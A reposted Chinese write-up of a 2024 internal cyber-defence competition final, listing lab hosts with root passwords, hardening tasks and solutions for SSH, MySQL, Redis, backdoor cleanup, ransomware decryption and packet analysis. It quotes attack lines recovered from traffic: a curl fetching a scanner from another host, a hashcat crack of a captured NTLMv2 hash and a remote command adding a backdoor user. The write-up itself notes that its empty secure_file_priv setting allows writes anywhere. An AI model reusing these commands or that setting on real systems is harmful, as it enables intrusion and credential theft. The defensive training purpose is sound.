内部赛-2024第四届网络安全攻防大赛团队赛②-决赛-综合防御赛-WriteUp

news/2024/12/22 14:20:38/文章来源:https://www.cnblogs.com/wgf4242/p/18622096

第四届网络安全攻防大赛团队赛决赛任务书

资产信息

工资查询站点:
192.168.10.100
root/34h59tgwh3hrtg3wrhgs
禅道系统(流量包位于/root/目录):
192.168.10.145
root/sh91hrfhsd1eojfap93
企业内部平台(流量包位于/root/目录):
192.168.10.166
root/h398fnbdo13rjtgsojrghwe
流量分析附件(登录服务器下载流量包):
10.2.2.100
root/7bdzhc7q3oe0s0fqhfs
此外还存在攻击者跳板机器:
http://10.2.2.103:3000
比赛任务简介

题目

工资查询网站

  • 1.SSH 加固(check)
    任务描述:该服务器的 ssh 配置已经被攻击者进行恶意的修改,现在请你修正 ssh 的配置:
    任务目标:
  1. 修改默认 SSH 端口为 56435。
  2. 实现仅允许公钥登录(修改之前注意添加自己的 sshkey 防止登录不上去)。
  • 2.MySQL 加固(check)
    任务描述:修改 MySQL 数据库的安全策略配置。
    任务目标:
  1. 配置 MySQL 为非标准端口 55434。
  2. 配置禁止 mysql 读取和写入文件。
    3.Web 漏洞加固(check)
    任务描述:攻击者利用了网站漏洞获取的权限,现在请你修复网站中存在的 RCE 漏洞。
    任务目标:修复 RCE 漏洞,添加内容过滤或其他防守方式(不可直接删除源码)。
  • 4.后门排查_1(check)
    任务描述:找到攻击者添加的所有后门并删除。
    任务目标:删除后门。

  • 5.后门排查_2(flag)
    任务描述:攻击者利用某文件获得了 ROOT 权限,请找到该文件,提交该文件的 MD5 值(使用 md5sum 计
    算)。
    任务目标:提交提权文件的 MD5 值,flag 格式:flag{md5 值}。

禅道系统

1.Redis 修复及加固(check)

任务描述:服务器被入侵了,管理员发现黑客通过 redis 未授权访问攻击了服务器,请修复服务器中以下问题。
任务目标:修复 redis 未授权访问问题,并给 redis 加一个验证密码,该密码需要设置为 7gagyw341 。

2.木马清除(check)

任务描述:寻找攻击者留下的 webshell。
任务目标:找到 webshell 文件并删除(删除前记下冰蝎密码)。

3.恶意流量分析(flag)

任务描述:在 root 目录下存在一个流量包,找到攻击者所窃取的机密文件,并提交该文件的 md5 值作为 flag。
任务目标:找到攻击者窃取的文件,flag 格式:flag{md5 值}。

4.后门进程分析(flag)

任务描述:寻找并分析攻击者留下的恶意后门。
任务目标:找到攻击者的 ip+端口(提交 flag),flag 格式:flag{192.168.1.1/1234}。

5.后门进程清除(check)

任务描述:寻找并清除攻击者留下的所有的恶意后门。
任务目标:清除恶意后门(check)。

6.文件解密(flag)

任务描述:攻击者使用某勒索病毒将从数据库导出的 sql 文件进行加密,并且删除了原数据库。
任务目标:解密还原 sql 文件,并找到其中的 flag,flag 格式:flag{xxxxx}。

7.数据库恢复(check)

任务描述:根据上一题解密还原出来的 sql 文件,进行数据库恢复。
任务目标:恢复数据库。

企业内部平台

1.流量分析_1(flag)
任务描述:在 root 目录下存在一个数据包,确认并提交数据包中攻击者攻入后执行的第一个命令。
任务目标:提交攻击者在服务器上执行的第一个命令,如有空格,提交时删除空格,flag 格式:flag{xxxxx}。

2.流量分析_2(flag)
任务描述:攻击者从服务器中窃取了文件,请提交该文件的文件名。
任务目标:提交攻击者从服务器获取到的文件名(仅需文件名即可),flag 格式:flag{xxxxx}。

3.后门排查_3(flag)
任务描述:攻击者对系统命令进行了劫持,请找到该系统命令,并提交命令文件的 MD5 值如:1cb2657b8f56216
7c6f09042637a2759,ce67ab2763c7f1b1704fb67d7219133a。(使用 md5sum 命令计算)。
任务目标:提交被篡改命令的 MD5 值,flag 格式:flag{md5 值}。

4.后门排查_4(flag)
任务描述:攻击者上传了恶意程序,高度占用系统资源,请提交该恶意程序的 32 位 MD5 值(小写)。
任务目标:提交找到的攻击者留下的恶意程序的 MD5 值,flag 格式:flag{MD5 值}。

5.后门排查_5(flag)
任务描述:攻击者对系统函数调用进行了劫持,请提交攻击者利用的配置文件的 32 位 MD5 值(小写)。
任务目标:找到被攻击者篡改过的文件,并提价该文件的 MD5 值,flag 格式:flag{xxxxx}。

流量分析附件

已知攻击者还横向到了内网的 Windows 服务器,应急人员将流量进行了抓取,请登录服务器下载流量包
attack.pcapng,对该流量进行分析。

1.流量分析_3(flag)
任务描述:攻击者对目标 10.2.2.103 进行了扫描,请提交攻击者扫描到的开放端口,端口以从低至高排序,
如:11,12,13,15。

任务目标:提交 10.2.2.103 开放的端口,flag 格式:flag{22,25,80}。

2.流量分析_4(flag)

任务描述:攻击者对目标的 Redis 服务进行了认证登录,请提交攻击者登录成功使用的密码。
任务目标:提交 Redis 服务的密码;flag 格式:flag{123456}。

3.流量分析_5(flag)

任务描述:攻击者在 10.2.2.103 上命令执行下载了恶意扫描程序,请提交该程序的 32 位 MD5 值(小写)。
任务目标:提交恶意扫描程序的 MD5 值,flag 格式:flag{MD5 值}。

4.流量分析_6(flag)

任务描述:攻击者成功获得 10.2.2.93 主机上的一对用户名和密码,请提交攻击者获取到的用户名和密码。
提交格式:username:password。
任务目标:解密并提交攻击者获取到的用户名和密码,flag 格式:flag{admini:123}。

5.流量分析_7(flag)

任务描述:攻击者向 10.2.2.93 中添加了后门用户,请提交该用户的用户名和密码。提交格式:
username:password。
任务目标:提交后门用户的用户名和密码,如有空格,提交时删除空格,flag 格式:flag{admin:1234}。

攻击者机器(反制)

1.溯源反制(flag)
任务描述:反制攻击者跳板机,获取跳板机上的 flag。
任务目标:提交攻击者跳板机上的 flag,flag 格式:flag{xxxxx}。

2.站点加固(check)
任务描述:删除攻击者在服务器站点上创建的用户。
任务目标:找到攻击者攻击时创建的用户并删除。

3.漏洞修复(check)任务描述:关闭攻击者利用的网站功能点,防止攻击者再次攻击。
任务目标:关闭高危功能点。

题目提示

「流量分析_2」 继续追踪流量包即可文件名
「流量分析_1」 Log4j2流量 反向链接
「后门进程分析」计划
「恶意流量分析」 窃取sql文件
「后门进程清除」 看看用户 看看环境

「⽊⻢清除」 .文件
「Redis修复及加固」 config set
「流量分析_5」 找到反弹shell流量分析
「流量分析_4」 那么多登录流量总有个成功的
「流量分析_3」 注意下tcp syn标志
「MySQL加固」 secure_file_priv参数的重要性
「后门排查_2」 MySQL用户自定义函数文件通常保存在数据库插件目录
「后门排查_1」 恶意的sshkey

「SSH 加固」 修改配置文件:/etc/ssh/sshd_config
公钥的配置为:PasswordAuthentication

WriteUp

有些队友做的 自己复现可能不对,看个乐吧。

工资查询站点:

1.SSH 加固(check)

添加 ssh 公钥到 /root/.ssh/authorized_keys

修改 /etc/ssh/sshd_config

#PermitRootLogin yes # 注释掉
PubkeyAuthentication yes
Port 56435

service ssh restart

2.MySQL 加固(check)

/etc/mysql/mariadb.conf.d/50-server.cnf

[mysqld] 下添加

port=55434
secure_file_priv = ''

实际上 '' 为任意写。生产环境中设置为指定目录。并限制权限。

3.Web 漏洞加固(check)

请求路径过滤..

4.后门排查_1(check)

服务器公钥里删除一条

5.后门排查_2(flag)

任务描述:攻击者利用某文件获得了 ROOT 权限,请找到该文件,提交该文件的 MD5 值(使用 md5sum 计
算)。
任务目标:提交提权文件的 MD5 值,flag 格式:flag{md5 值}。

后门排查 3 4 5

/etc/profile 发现

PROMPT_COMMAND=nohup /usr/local/tomcat/include/dnsmasq 

/usr/bin/netstat 时间不对,提交成功
/usr/local/lib/libuClibc-0.9.27.so 时间不对,提交成功

禅道

1.Redis 修复及加固(check)

/etc/redis/redis.conf

requirepass 7gagyw341

service redis restart

2.木马清除(check)

冰蝎.checkdatabase.php

3.恶意流量分析(flag)

md5sum.exe ".checkdatabase(89) MySQL dump.php" 这个导出全部http 看最大的

4.后门进程分析(flag)

ps -ef 得出 flag{192.210.207.136/1234}

5.后门进程清除(check)

忘了

6.文件解密(flag)

通过 cyog 程序 aes 加密

加密前进行位移,异或

bool __fastcall bitwise_confusion(__int64 a1)
{...for ( i = std::vector<char>::size(a1); ; i = std::vector<char>::size(a1) ){v2 = (_BYTE *)std::vector<char>::operator[](a1, v5);v3 = ((2 * *v2) | (*v2 >> 7)) ^ 0x5A;*(_BYTE *)std::vector<char>::operator[](a1, v5++) = v3;}return result;
}

逆向解密, aes gcm 解密。
IV是12字节。
最后16位是tag。解密后异或回去

import numpy as np
from Cryptodome.Cipher import AES
def bitwise_decode(data):data = np.frombuffer(data, dtype=np.uint8)data_xor = data ^ 0x5aresult = (data_xor >> 1) | (data_xor << 7)result.tofile('output.txt')print('open output.txt')key = bytes.fromhex('D51F534F95E12BD375C0A94FFE81B193128456789ABCDEF01122334455667788')
iv = bytes.fromhex('BAD64CD49169CF189F7590A100000000')[:12]cipher_decrypt = AES.new(key, AES.MODE_GCM, nonce=iv)
fdata = open('zentao.sql.cyog', 'rb').read()
ciphertext, tag = fdata[:-16], fdata[-16:]
decrypted_data = cipher_decrypt.decrypt_and_verify(ciphertext, tag)
bitwise_decode(decrypted_data)

7.数据库恢复(check)

直接自建数据库。
或者用上面的恢复。

流量分析

1.流量分析_3(flag)

任务描述:攻击者对目标 10.2.2.103 进行了扫描,请提交攻击者扫描到的开放端口,端口以从低至高排序,
如:11,12,13,15。

任务目标:提交 10.2.2.103 开放的端口,flag 格式:flag{22,25,80}。

看tcp syn标志位。

21,22,80,81,82,83,84,85,86,87,88,89,90,91,92,98,99,135,139,443,445,800,801,808,880,888,889,1000,1010,1080,1081,1082,1099,1118,1433,1521,1888,2008,2020,2100,2375,2379,3000,3008,3128,3306,3505,5432,5555,6080,6379,6648,6868,7000,7001,7002,7003,7004,7005,7007,7008,7070,7071,7074,7078,7080,7088,7200,7680,7687,7688,7777,7890,8000,8001,8002,8003,8004,8006,8008,8009,8010,8011,8012,8016,8018,8020,8028,8030,8038,8042,8044,8046,8048,8053,8060,8069,8070,8080,8081,8082,8083,8084,8085,8086,8087,8088,8089,8090,8091,8092,8093,8094,8095,8096,8097,8098,8099,8100,8101,8108,8118,8161,8172,8180,8181,8200,8222,8244,8258,8280,8288,8300,8360,8443,8448,8484,8800,8834,8838,8848,8858,8868,8879,8880,8881,8888,8899,8983,8989,9000,9001,9002,9008,9010,9043,9060,9080,9081,9082,9083,9084,9085,9086,9087,9088,9089,9090,9091,9092,9093,9094,9095,9096,9097,9098,9099,9100,9200,9443,9448,9800,9981,9986,9988,9998,9999,10000,10001,10002,10004,10008,10010,10250,11211,12018,12443,14000,16080,18000,18001,18002,18004,18008,18080,18082,18088,18090,18098,19001,20000,20720,20880,21000,21501,21502,27017,28018

2.流量分析_4(flag)

任务描述:攻击者对目标的 Redis 服务进行了认证登录,请提交攻击者登录成功使用的密码。
任务目标:提交 Redis 服务的密码;flag 格式:flag{123456}。

包8196 请求后返回正确。 密码为 1234qwer

3.流量分析_5(flag)

任务描述:攻击者在 10.2.2.103 上命令执行下载了恶意扫描程序,请提交该程序的 32 位 MD5 值(小写)。
任务目标:提交恶意扫描程序的 MD5 值,flag 格式:flag{MD5 值}。

包8303

curl http://10.2.2.45:8090/fscan_amd64 -o /tmp/fs

4.流量分析_6(flag)

任务描述:攻击者成功获得 10.2.2.93 主机上的一对用户名和密码,请提交攻击者获取到的用户名和密码。
提交格式:username:password。
任务目标:解密并提交攻击者获取到的用户名和密码,flag 格式:flag{admini:123}。

NTLMv2 爆破

hashcat -m 5600 ADMINISTRATOR:::ba68290fac565191:14915e4c59df6ad05be0718cc31b7d9f:0101000000000000188af072f187d90162767134724579680000000002001e00570049004e002d004800310056004500500038004f00330033003200390001001e00570049004e002d004800310056004500500038004f00330033003200390004001e00570049004e002d004800310056004500500038004f00330033003200390003001e00570049004e002d004800310056004500500038004f00330033003200390007000800188af072f187d9010900280063006900660073002f00570049004e002d004800310056004500500038004f0033003300320039000000000000000000 rockyou.txt --force

密码为 admin007

5.流量分析_7(flag)

任务描述:攻击者向 10.2.2.93 中添加了后门用户,请提交该用户的用户名和密码。提交格式:
username:password。
任务目标:提交后门用户的用户名和密码,如有空格,提交时删除空格,flag 格式:flag{admin:1234}。

包21056 看到 jacky 用户, 向前找

包20983看到 %COMSPEC% /Q /c echo net user jacky "i love jacky" /add ^> \\127.0.0.1\C$\__output 2^>^&1 > %TEMP%\execute.bat & %COMSPEC% /Q /c %TEMP%\execute.bat & del %TEMP%\execute.bat

密码为 i love jacky

攻击者机器(反制)

1.溯源反制(flag)

yapi 漏洞利用

cat /flag

2.站点加固(check)

删除网站应用系统的用户.

3.漏洞修复(check)任务描述:关闭攻击者利用的网站功能点,防止攻击者再次攻击。

yapi 漏洞修复

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/856794.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

23粘性定位-z index-浮动-浮动练习

一、粘性定位 - sticky 另外还有一个定位的值是position:sticky,比起其他定位值更新一些。 sticky是一个大家期待已久的属性; 可以看作是相对定位和固定(绝对)定位的结合体; 它允许被定位的元素表现得像相对定位一样,直到它滚动到某个阈值点; 当达到这个阈值点时,就会变…

iPhone越狱版和免越狱版iMessages群发,iMessages短信,imessages推信群发实现原理

Apple公司全线在mac os与ios两个操作系统上内置了FaceTime与iMessage两个应用。完美替代运营商的短信与电话。并且FaceTime与iMessage的帐号不仅仅与Apple ID 绑定,同时也与使用这Apple ID的手机号码绑定,这样的漏洞自然给无孔不入的群发垃圾信息商们提供了后门。这样iPhone的…

IDEA Spring MVC配置.

参考1 https://blog.csdn.net/qq_74329022/article/details/138326488 示例 省赛 easyspring 配置。

专业数据恢复软件iFindDataRecoveryv9.2.3 绿色便携版

睿共享*关注我 前言 iFinD Data Recovery一款特别实用的数据找回工具,它很厉害,能帮你在SSD硬盘和Windows10系统上找回丢失的数据。而且,它还能深度扫描并恢复各种主流数码相机里的RAW格式照片,速度超快,用起来也很稳定顺畅,就算是新手也能轻松上手使用。 安装环境 [名称…

【Rive】Android与Rive交互

1 Android与Rive交互的常用接口 1.1 RiveAnimationView参数 <app.rive.runtime.kotlin.RiveAnimationViewandroid:id="@+id/rive_view"android:layout_width="match_parent"android:layout_height="match_parent"android:adjustViewBounds=&q…

【Rive】混合动画

1 混合动画简介 ​ 【Rive】动画 中介绍了 Rive 中动画的基础概念和一般动画的制作流程,本文将介绍混合动画的基础概念和一般制作流程。Unity 中混合动画介绍详见→ 【Unity3D】动画混合。 ​ 混合动画是指同一时刻多个动画按照一定比例同时执行,这些动画控制的动画参数…

Command-line Environment

Command-line Environment 任务控制 shell会使用UNIX提供的信号机制去执行进程间的通信,进程收到信号的时候,会基于信号改变其执行 停止 停止任务:^c 信号:SIGINT在进行find遍历目录时,使用^c,发出SIGINT到该进程,停止了该任务 课程中提供了一个脚本,忽略了SIGINT信号的…

【嵌入式开发】探讨下PC端的BLE开发

目前在嵌入式设备端,实现了不少ble的功能。比如音频传输,图片传输。一般要方便演示,需要开发个对应的手机app。但是我又是很偷懒的人。想着,python这个工具这么强大,在PC端可以用python几行代码就实现掉吧? 说干就干! 根据同事的推荐,用了python的bleak蓝牙库。 我是在…

Jmeter 修改Sampler result 结果信息

首先说一下,jmeter的Sampler result是什么? Jmeter 的Samplers result 是jmeter在向服务器发送请求后,接收到服务器响应的基本信息的展示,如 sample 的开始请求时间、发送的内容大小、基于协议的响应状态码和响应消息等信息。 什么是基于协议的响应状态码和响应消息。比如h…

Shell Script

Shell Script 赋值操作 foo=bar echo $foo注意: 不要使用空格分开shell 将会把foo当作一个程序 转义 Bash通过使用和""来定义字符串 ""会将字符串中的变量转义 echo "String is $foo"会将字符串中的变量原样输出 echo String is $foo函数 函数内…

聊一聊 C#前台线程 如何阻塞程序退出

一:背景 1. 讲故事 这篇文章起源于我的 C#内功修炼训练营里的一位朋友提的问题:后台线程的内部是如何运转的 ? ,犹记得C# Via CLR这本书中 Jeffery 就聊到了他曾经给别人解决一个程序无法退出的bug,最后发现是有一个 Backgrond=false 的线程导致的。恰巧在我分析的350+dum…

聊一聊 C#后台线程 如何阻塞程序退出

一:背景 1. 讲故事 这篇文章起源于我的 C#内功修炼训练营里的一位朋友提的问题:后台线程的内部是如何运转的 ? ,犹记得C# Via CLR这本书中 Jeffery 就聊到了他曾经给别人解决一个程序无法退出的bug,最后发现是有一个 Backgrond=false 的线程导致的。恰巧在我分析的350+dum…